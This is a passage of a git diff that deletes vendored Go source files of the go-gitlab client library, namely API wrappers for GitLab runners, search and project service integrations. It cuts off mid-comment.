KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// RunnersService handles communication with the runner related methods of the -// GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/runners.html -type RunnersService struct { - client *Client -} - -// Runner represents a GitLab CI Runner. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/runners.html -type Runner struct { - ID int `json:"id"` - Description string `json:"description"` - Active bool `json:"active"` - IsShared bool `json:"is_shared"` - IPAddress string `json:"ip_address"` - Name string `json:"name"` - Online bool `json:"online"` - Status string `json:"status"` - Token string `json:"token"` -} - -// RunnerDetails represents the GitLab CI runner details. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/runners.html -type RunnerDetails struct { - Active bool `json:"active"` - Architecture string `json:"architecture"` - Description string `json:"description"` - ID int `json:"id"` - IPAddress string `json:"ip_address"` - IsShared bool `json:"is_shared"` - ContactedAt *time.Time `json:"contacted_at"` - Name string `json:"name"` - Online bool `json:"online"` - Status string `json:"status"` - Platform string `json:"platform"` - Projects []struct { - ID int `json:"id"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - } `json:"projects"` - Token string `json:"token"` - Revision string `json:"revision"` - TagList []string `json:"tag_list"` - Version string `json:"version"` - Locked bool `json:"locked"` - AccessLevel string `json:"access_level"` - MaximumTimeout int `json:"maximum_timeout"` - Groups []struct { - ID int `json:"id"` - Name string `json:"name"` - WebURL string `json:"web_url"` - } `json:"groups"` -} - -// ListRunnersOptions represents the available ListRunners() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-owned-runners -type ListRunnersOptions struct { - ListOptions - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - Type *string `url:"type,omitempty" json:"type,omitempty"` - Status *string `url:"status,omitempty" json:"status,omitempty"` - TagList []string `url:"tag_list,comma,omitempty" json:"tag_list,omitempty"` -} - -// ListRunners gets a list of runners accessible by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-owned-runners -func (s *RunnersService) ListRunners(opt *ListRunnersOptions, options ...RequestOptionFunc) ([]*Runner, *Response, error) { - req, err := s.client.NewRequest("GET", "runners", opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Runner - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// ListAllRunners gets a list of all runners in the GitLab instance. Access is -// restricted to users with admin privileges. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-all-runners -func (s *RunnersService) ListAllRunners(opt *ListRunnersOptions, options ...RequestOptionFunc) ([]*Runner, *Response, error) { - req, err := s.client.NewRequest("GET", "runners/all", opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Runner - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// GetRunnerDetails returns details for given runner. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#get-runner-39-s-details -func (s *RunnersService) GetRunnerDetails(rid interface{}, options ...RequestOptionFunc) (*RunnerDetails, *Response, error) { - runner, err := parseID(rid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("runners/%s", runner) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var rs *RunnerDetails - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// UpdateRunnerDetailsOptions represents the available UpdateRunnerDetails() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#update-runner-39-s-details -type UpdateRunnerDetailsOptions struct { - Description *string `url:"description,omitempty" json:"description,omitempty"` - Active *bool `url:"active,omitempty" json:"active,omitempty"` - TagList []string `url:"tag_list[],omitempty" json:"tag_list,omitempty"` - RunUntagged *bool `url:"run_untagged,omitempty" json:"run_untagged,omitempty"` - Locked *bool `url:"locked,omitempty" json:"locked,omitempty"` - AccessLevel *string `url:"access_level,omitempty" json:"access_level,omitempty"` - MaximumTimeout *int `url:"maximum_timeout,omitempty" json:"maximum_timeout,omitempty"` -} - -// UpdateRunnerDetails updates details for a given runner. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#update-runner-39-s-details -func (s *RunnersService) UpdateRunnerDetails(rid interface{}, opt *UpdateRunnerDetailsOptions, options ...RequestOptionFunc) (*RunnerDetails, *Response, error) { - runner, err := parseID(rid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("runners/%s", runner) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rs *RunnerDetails - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// RemoveRunner removes a runner. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#remove-a-runner -func (s *RunnersService) RemoveRunner(rid interface{}, options ...RequestOptionFunc) (*Response, error) { - runner, err := parseID(rid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("runners/%s", runner) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListRunnerJobsOptions represents the available ListRunnerJobs() -// options. Status can be one of: running, success, failed, canceled. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-runners-jobs -type ListRunnerJobsOptions struct { - ListOptions - Status *string `url:"status,omitempty" json:"status,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListRunnerJobs gets a list of jobs that are being processed or were processed by specified Runner. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-runner-39-s-jobs -func (s *RunnersService) ListRunnerJobs(rid interface{}, opt *ListRunnerJobsOptions, options ...RequestOptionFunc) ([]*Job, *Response, error) { - runner, err := parseID(rid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("runners/%s/jobs", runner) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Job - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// ListProjectRunnersOptions represents the available ListProjectRunners() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-project-s-runners -type ListProjectRunnersOptions ListRunnersOptions - -// ListProjectRunners gets a list of runners accessible by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#list-project-s-runners -func (s *RunnersService) ListProjectRunners(pid interface{}, opt *ListProjectRunnersOptions, options ...RequestOptionFunc) ([]*Runner, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/runners", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Runner - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// EnableProjectRunnerOptions represents the available EnableProjectRunner() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#enable-a-runner-in-project -type EnableProjectRunnerOptions struct { - RunnerID int `json:"runner_id"` -} - -// EnableProjectRunner enables an available specific runner in the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#enable-a-runner-in-project -func (s *RunnersService) EnableProjectRunner(pid interface{}, opt *EnableProjectRunnerOptions, options ...RequestOptionFunc) (*Runner, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/runners", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - var r *Runner - resp, err := s.client.Do(req, &r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// DisableProjectRunner disables a specific runner from project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#disable-a-runner-from-project -func (s *RunnersService) DisableProjectRunner(pid interface{}, runner int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/runners/%d", pathEscape(project), runner) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListGroupsRunnersOptions represents the available ListGroupsRunners() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/runners.html#list-groups-runners -type ListGroupsRunnersOptions struct { - ListOptions - Type *string `url:"type,omitempty" json:"type,omitempty"` - Status *string `url:"status,omitempty" json:"status,omitempty"` - TagList []string `url:"tag_list,comma,omitempty" json:"tag_list,omitempty"` -} - -// ListGroupsRunners lists all runners (specific and shared) available in the -// group as well it’s ancestor groups. Shared runners are listed if at least one -// shared runner is defined. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/runners.html#list-groups-runners -func (s *RunnersService) ListGroupsRunners(gid interface{}, opt *ListGroupsRunnersOptions, options ...RequestOptionFunc) ([]*Runner, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/runners", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rs []*Runner - resp, err := s.client.Do(req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, err -} - -// RegisterNewRunnerOptions represents the available RegisterNewRunner() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#register-a-new-runner -type RegisterNewRunnerOptions struct { - Token *string `url:"token" json:"token"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Info *string `url:"info,omitempty" json:"info,omitempty"` - Active *bool `url:"active,omitempty" json:"active,omitempty"` - Locked *bool `url:"locked,omitempty" json:"locked,omitempty"` - RunUntagged *bool `url:"run_untagged,omitempty" json:"run_untagged,omitempty"` - TagList []string `url:"tag_list[],omitempty" json:"tag_list,omitempty"` - MaximumTimeout *int `url:"maximum_timeout,omitempty" json:"maximum_timeout,omitempty"` -} - -// RegisterNewRunner registers a new Runner for the instance. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#register-a-new-runner -func (s *RunnersService) RegisterNewRunner(opt *RegisterNewRunnerOptions, options ...RequestOptionFunc) (*Runner, *Response, error) { - req, err := s.client.NewRequest("POST", "runners", opt, options) - if err != nil { - return nil, nil, err - } - - var r *Runner - resp, err := s.client.Do(req, &r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// DeleteRegisteredRunnerOptions represents the available -// DeleteRegisteredRunner() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#delete-a-registered-runner -type DeleteRegisteredRunnerOptions struct { - Token *string `url:"token" json:"token"` -} - -// DeleteRegisteredRunner registers a new Runner for the instance. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#delete-a-registered-runner -func (s *RunnersService) DeleteRegisteredRunner(opt *DeleteRegisteredRunnerOptions, options ...RequestOptionFunc) (*Response, error) { - req, err := s.client.NewRequest("DELETE", "runners", opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// VerifyRegisteredRunnerOptions represents the available -// VerifyRegisteredRunner() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#verify-authentication-for-a-registered-runner -type VerifyRegisteredRunnerOptions struct { - Token *string `url:"token" json:"token"` -} - -// VerifyRegisteredRunner registers a new Runner for the instance. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/runners.html#verify-authentication-for-a-registered-runner -func (s *RunnersService) VerifyRegisteredRunner(opt *VerifyRegisteredRunnerOptions, options ...RequestOptionFunc) (*Response, error) { - req, err := s.client.NewRequest("POST", "runners/verify", opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/search.go b/vendor/github.com/xanzy/go-gitlab/search.go deleted file mode 100644 index 7ea1bf089f..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/search.go +++ /dev/null @@ -1,354 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// SearchService handles communication with the search related methods of the -// GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html -type SearchService struct { - client *Client -} - -// SearchOptions represents the available options for all search methods. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html -type SearchOptions ListOptions - -type searchOptions struct { - SearchOptions - Scope string `url:"scope" json:"scope"` - Search string `url:"search" json:"search"` -} - -// Projects searches the expression within projects -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-projects -func (s *SearchService) Projects(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - var ps []*Project - resp, err := s.search("projects", query, &ps, opt, options...) - return ps, resp, err -} - -// ProjectsByGroup searches the expression within projects for -// the specified group -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#group-search-api -func (s *SearchService) ProjectsByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - var ps []*Project - resp, err := s.searchByGroup(gid, "projects", query, &ps, opt, options...) - return ps, resp, err -} - -// Issues searches the expression within issues -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-issues -func (s *SearchService) Issues(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - var is []*Issue - resp, err := s.search("issues", query, &is, opt, options...) - return is, resp, err -} - -// IssuesByGroup searches the expression within issues for -// the specified group -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-issues -func (s *SearchService) IssuesByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - var is []*Issue - resp, err := s.searchByGroup(gid, "issues", query, &is, opt, options...) - return is, resp, err -} - -// IssuesByProject searches the expression within issues for -// the specified project -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-issues -func (s *SearchService) IssuesByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - var is []*Issue - resp, err := s.searchByProject(pid, "issues", query, &is, opt, options...) - return is, resp, err -} - -// MergeRequests searches the expression within merge requests -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-merge_requests -func (s *SearchService) MergeRequests(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - var ms []*MergeRequest - resp, err := s.search("merge_requests", query, &ms, opt, options...) - return ms, resp, err -} - -// MergeRequestsByGroup searches the expression within merge requests for -// the specified group -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-merge_requests -func (s *SearchService) MergeRequestsByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - var ms []*MergeRequest - resp, err := s.searchByGroup(gid, "merge_requests", query, &ms, opt, options...) - return ms, resp, err -} - -// MergeRequestsByProject searches the expression within merge requests for -// the specified project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-merge_requests -func (s *SearchService) MergeRequestsByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - var ms []*MergeRequest - resp, err := s.searchByProject(pid, "merge_requests", query, &ms, opt, options...) - return ms, resp, err -} - -// Milestones searches the expression within milestones -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-milestones -func (s *SearchService) Milestones(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Milestone, *Response, error) { - var ms []*Milestone - resp, err := s.search("milestones", query, &ms, opt, options...) - return ms, resp, err -} - -// MilestonesByGroup searches the expression within milestones for -// the specified group -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-milestones -func (s *SearchService) MilestonesByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Milestone, *Response, error) { - var ms []*Milestone - resp, err := s.searchByGroup(gid, "milestones", query, &ms, opt, options...) - return ms, resp, err -} - -// MilestonesByProject searches the expression within milestones for -// the specified project -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-milestones -func (s *SearchService) MilestonesByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Milestone, *Response, error) { - var ms []*Milestone - resp, err := s.searchByProject(pid, "milestones", query, &ms, opt, options...) - return ms, resp, err -} - -// SnippetTitles searches the expression within snippet titles -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-snippet_titles -func (s *SearchService) SnippetTitles(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Snippet, *Response, error) { - var ss []*Snippet - resp, err := s.search("snippet_titles", query, &ss, opt, options...) - return ss, resp, err -} - -// SnippetBlobs searches the expression within snippet blobs -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-snippet_blobs -func (s *SearchService) SnippetBlobs(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Snippet, *Response, error) { - var ss []*Snippet - resp, err := s.search("snippet_blobs", query, &ss, opt, options...) - return ss, resp, err -} - -// NotesByProject searches the expression within notes for the specified -// project -// -// GitLab API docs: // https://docs.gitlab.com/ce/api/search.html#scope-notes -func (s *SearchService) NotesByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Note, *Response, error) { - var ns []*Note - resp, err := s.searchByProject(pid, "notes", query, &ns, opt, options...) - return ns, resp, err -} - -// WikiBlobs searches the expression within all wiki blobs -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-wiki_blobs -func (s *SearchService) WikiBlobs(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Wiki, *Response, error) { - var ws []*Wiki - resp, err := s.search("wiki_blobs", query, &ws, opt, options...) - return ws, resp, err -} - -// WikiBlobsByGroup searches the expression within wiki blobs for -// specified group -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-wiki_blobs -func (s *SearchService) WikiBlobsByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Wiki, *Response, error) { - var ws []*Wiki - resp, err := s.searchByGroup(gid, "wiki_blobs", query, &ws, opt, options...) - return ws, resp, err -} - -// WikiBlobsByProject searches the expression within wiki blobs for -// the specified project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/search.html#scope-wiki_blobs -func (s *SearchService) WikiBlobsByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Wiki, *Response, error) { - var ws []*Wiki - resp, err := s.searchByProject(pid, "wiki_blobs", query, &ws, opt, options...) - return ws, resp, err -} - -// Commits searches the expression within all commits -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-commits -func (s *SearchService) Commits(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Commit, *Response, error) { - var cs []*Commit - resp, err := s.search("commits", query, &cs, opt, options...) - return cs, resp, err -} - -// CommitsByGroup searches the expression within commits for the specified -// group -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-commits -func (s *SearchService) CommitsByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Commit, *Response, error) { - var cs []*Commit - resp, err := s.searchByGroup(gid, "commits", query, &cs, opt, options...) - return cs, resp, err -} - -// CommitsByProject searches the expression within commits for the -// specified project -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-commits -func (s *SearchService) CommitsByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Commit, *Response, error) { - var cs []*Commit - resp, err := s.searchByProject(pid, "commits", query, &cs, opt, options...) - return cs, resp, err -} - -// Blob represents a single blob. -type Blob struct { - Basename string `json:"basename"` - Data string `json:"data"` - Filename string `json:"filename"` - ID int `json:"id"` - Ref string `json:"ref"` - Startline int `json:"startline"` - ProjectID int `json:"project_id"` -} - -// Blobs searches the expression within all blobs -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-blobs -func (s *SearchService) Blobs(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Blob, *Response, error) { - var bs []*Blob - resp, err := s.search("blobs", query, &bs, opt, options...) - return bs, resp, err -} - -// BlobsByGroup searches the expression within blobs for the specified -// group -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-blobs -func (s *SearchService) BlobsByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Blob, *Response, error) { - var bs []*Blob - resp, err := s.searchByGroup(gid, "blobs", query, &bs, opt, options...) - return bs, resp, err -} - -// BlobsByProject searches the expression within blobs for the specified -// project -// -// GitLab API docs: https://docs.gitlab.com/ce/api/search.html#scope-blobs -func (s *SearchService) BlobsByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*Blob, *Response, error) { - var bs []*Blob - resp, err := s.searchByProject(pid, "blobs", query, &bs, opt, options...) - return bs, resp, err -} - -// Users searches the expression within all users -// -// GitLab API docs: https://docs.gitlab.com/ee/api/search.html#scope-users -func (s *SearchService) Users(query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*User, *Response, error) { - var ret []*User - resp, err := s.search("users", query, &ret, opt, options...) - return ret, resp, err -} - -// UsersByGroup searches the expression within users for the specified -// group -// -// GitLab API docs: https://docs.gitlab.com/ee/api/search.html#scope-users-1 -func (s *SearchService) UsersByGroup(gid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*User, *Response, error) { - var ret []*User - resp, err := s.searchByGroup(gid, "users", query, &ret, opt, options...) - return ret, resp, err -} - -// UsersByProject searches the expression within users for the -// specified project -// -// GitLab API docs: https://docs.gitlab.com/ee/api/search.html#scope-users-2 -func (s *SearchService) UsersByProject(pid interface{}, query string, opt *SearchOptions, options ...RequestOptionFunc) ([]*User, *Response, error) { - var ret []*User - resp, err := s.searchByProject(pid, "users", query, &ret, opt, options...) - return ret, resp, err -} - -func (s *SearchService) search(scope, query string, result interface{}, opt *SearchOptions, options ...RequestOptionFunc) (*Response, error) { - opts := &searchOptions{SearchOptions: *opt, Scope: scope, Search: query} - - req, err := s.client.NewRequest("GET", "search", opts, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, result) -} - -func (s *SearchService) searchByGroup(gid interface{}, scope, query string, result interface{}, opt *SearchOptions, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/-/search", pathEscape(group)) - - opts := &searchOptions{SearchOptions: *opt, Scope: scope, Search: query} - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, result) -} - -func (s *SearchService) searchByProject(pid interface{}, scope, query string, result interface{}, opt *SearchOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/-/search", pathEscape(project)) - - opts := &searchOptions{SearchOptions: *opt, Scope: scope, Search: query} - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, result) -} diff --git a/vendor/github.com/xanzy/go-gitlab/services.go b/vendor/github.com/xanzy/go-gitlab/services.go deleted file mode 100644 index e17174905b..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/services.go +++ /dev/null @@ -1,1086 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "encoding/json" - "fmt" - "strconv" - "time" -) - -// ServicesService handles communication with the services related methods of -// the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/services.html -type ServicesService struct { - client *Client -} - -// Service represents a GitLab service. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/services.html -type Service struct { - ID int `json:"id"` - Title string `json:"title"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - Active bool `json:"active"` - PushEvents bool `json:"push_events"` - IssuesEvents bool `json:"issues_events"` - ConfidentialIssuesEvents bool `json:"confidential_issues_events"` - CommitEvents bool `json:"commit_events"` - MergeRequestsEvents bool `json:"merge_requests_events"` - CommentOnEventEnabled bool `json:"comment_on_event_enabled"` - TagPushEvents bool `json:"tag_push_events"` - NoteEvents bool `json:"note_events"` - ConfidentialNoteEvents bool `json:"confidential_note_events"` - PipelineEvents bool `json:"pipeline_events"` - JobEvents bool `json:"job_events"` - WikiPageEvents bool `json:"wiki_page_events"` -} - -// DroneCIService represents Drone CI service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#drone-ci -type DroneCIService struct { - Service - Properties *DroneCIServiceProperties `json:"properties"` -} - -// DroneCIServiceProperties represents Drone CI specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#drone-ci -type DroneCIServiceProperties struct { - Token string `json:"token"` - DroneURL string `json:"drone_url"` - EnableSSLVerification bool `json:"enable_ssl_verification"` -} - -// GetDroneCIService gets Drone CI service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-drone-ci-service-settings -func (s *ServicesService) GetDroneCIService(pid interface{}, options ...RequestOptionFunc) (*DroneCIService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/drone-ci", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(DroneCIService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetDroneCIServiceOptions represents the available SetDroneCIService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-drone-ci-service -type SetDroneCIServiceOptions struct { - Token *string `url:"token" json:"token" ` - DroneURL *string `url:"drone_url" json:"drone_url"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` -} - -// SetDroneCIService sets Drone CI service for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-drone-ci-service -func (s *ServicesService) SetDroneCIService(pid interface{}, opt *SetDroneCIServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/drone-ci", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteDroneCIService deletes Drone CI service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-drone-ci-service -func (s *ServicesService) DeleteDroneCIService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/drone-ci", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ExternalWikiService represents External Wiki service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#external-wiki -type ExternalWikiService struct { - Service - Properties *ExternalWikiServiceProperties `json:"properties"` -} - -// ExternalWikiServiceProperties represents External Wiki specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#external-wiki -type ExternalWikiServiceProperties struct { - ExternalWikiURL string `json:"external_wiki_url"` -} - -// GetExternalWikiService gets External Wiki service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-external-wiki-service-settings -func (s *ServicesService) GetExternalWikiService(pid interface{}, options ...RequestOptionFunc) (*ExternalWikiService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/external-wiki", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(ExternalWikiService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetExternalWikiServiceOptions represents the available SetExternalWikiService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-external-wiki-service -type SetExternalWikiServiceOptions struct { - ExternalWikiURL *string `url:"external_wiki_url,omitempty" json:"external_wiki_url,omitempty"` -} - -// SetExternalWikiService sets External Wiki service for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-external-wiki-service -func (s *ServicesService) SetExternalWikiService(pid interface{}, opt *SetExternalWikiServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/external-wiki", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteExternalWikiService deletes External Wiki service for project. -// -// GitLab API 